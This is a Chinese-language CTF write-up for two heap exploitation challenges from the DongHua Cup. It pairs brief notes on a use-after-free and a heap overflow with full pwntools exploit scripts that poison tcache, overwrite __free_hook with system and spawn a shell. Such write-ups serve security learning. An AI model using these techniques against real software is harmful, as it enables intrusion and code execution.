最近打东华杯,因为看不懂c++,所以遭重了。花了一点时间学习C++的反汇编,终于把它拿捏了。

CPP

UAF漏洞,在rm函数中,并没有将指针设置为0.所以我们可以将某个chunk free 后然后直接利用md函数修改其fd指针,从而进行unsortbin_attack

add(0),free(0)后可以直接利用未消除的指针进行泄露地址

这里可以选择覆盖tcache_str为大数,下下次分配chunk时将直接进入unsortbin。
这里需要格外注意的是,这里并未直接将改tcache_num设置为7 ,而是利用tcache和unsortbin的指针指向相差了0x10,因此被分配到最高地址的chunk被free时将会进入unsortbin,而其上一个被free的chunk仍进入tchche这为之后修改tchche的fd提供了方便

第一次free:

第二次free:

也是因为未清除指针的原因,可以直接读出fd的值然后计算出__free_hook

覆盖tcache的fd为__free_hook,然后连续malloc两个chunk,free掉有“/bin/sh\x00”的chunk

#! /usr/bin/python3
from pwn import*
io = process('./cpp2')
elf = ELF("./cpp2")
libc = ELF('./libc-2.31.so')

r   =  lambda x : io.recv(x)
rx  =  lambda x: io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li    = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

def ad(idx,size):
 sla('>>',str(1))
 sla('I:>>',str(idx))
 sla('S:>>',str(size))

def md(idx,con):
 sla('>>',str(2))
 sla('I:>>',str(idx))
 sla('V:>>',con)

def rm(idx):
 sla('>>',str(4))
 sla('I:>>',str(idx))

def dp(idx):
 sla('>>',str(3))
 sla('I:>>',str(idx))


ad(0,0x67)
ad(1,0x67)
ad(2,0x67)
ad(3,0x67)

rm(0)
rm(1)
dp(1)
io.recvuntil('\n')
heap = u64(io.recv(6).ljust(8,b'\x00')) - 0x12EC0 + 0x10
print("heap----->"+hex(heap))

md(1,p64(heap))
ad(4,0x67)
ad(5,0x67)

md(5,b'\x00'*0x48+b'\x00'*6+b'\x07')
#md(5,b'\x00'*10 + b'\x07')

rm(3)
rm(5)

dp(5)
leak = u64(io.recvuntil('\x7f')[-6:] + b'\x00\x00')
free = leak - 96 - 0x10 - libc.sym['__malloc_hook'] + libc.sym['__free_hook']
system = leak - 96 - 0x10 - libc.sym['__malloc_hook'] + libc.sym['system']
print(hex(leak))
print(hex(free))

md(3,p64(free))
ad(6,0x67)
md(6,b'/bin/sh\x00')
ad(7,0x67)
md(7,p64(system))

rm(6)
#gdb.attach(io)

io.interactive()

CPP2

堆溢出漏洞

填充tcache至满,再次free进入unsorbin,截取泄露libc.

通过堆溢出漏洞修改tcache fd,进行unsortbin_attack.

#! /usr/bin/python3
from pwn import *
sh = process('./cpp')
elf = ELF('./cpp')
libc = ELF('./libc-2.31.so')

def ad(idx, size):
    sh.sendlineafter(">>\n", '1')
    sh.sendlineafter("I:>>\n", str(idx))
    sh.sendlineafter("S:>>\n", str(size))

def md(idx, content):
    sh.sendlineafter(">>\n", '2')
    sh.sendlineafter("I:>>\n", str(idx))
    sh.sendlineafter("V:>>\n", content)

def dp(idx):
    sh.sendlineafter(">>\n", '3')
    sh.sendlineafter("I:>>\n", str(idx))

def rm(idx):
    sh.sendlineafter(">>\n", '4')
    sh.sendlineafter("I:>>\n", str(idx))

for i in range(9):
    ad(i,0x88)

for i in range(7,0,-1):
    rm(i)

rm(0)

ad(9,0x78)
dp(9)
#gdb.attach(sh)
leak = u64(sh.recvuntil('\x7f')[-6:]+b'\x00\x00')
base = leak - 224 -0x10 - libc.sym['__malloc_hook']
free = base + libc.sym['__free_hook']
system = base + libc.sym['system']

print(hex(leak))
print(hex(free))
print(hex(system))

ad(1,0x88)
md(1,b'a'*0x90 + p64(free))

ad(2,0x88)
md(2,b'/bin/sh\x00')

ad(3,0x88)
md(3,p64(system))

rm(2)
#gdb.attach(sh)

sh.interactive()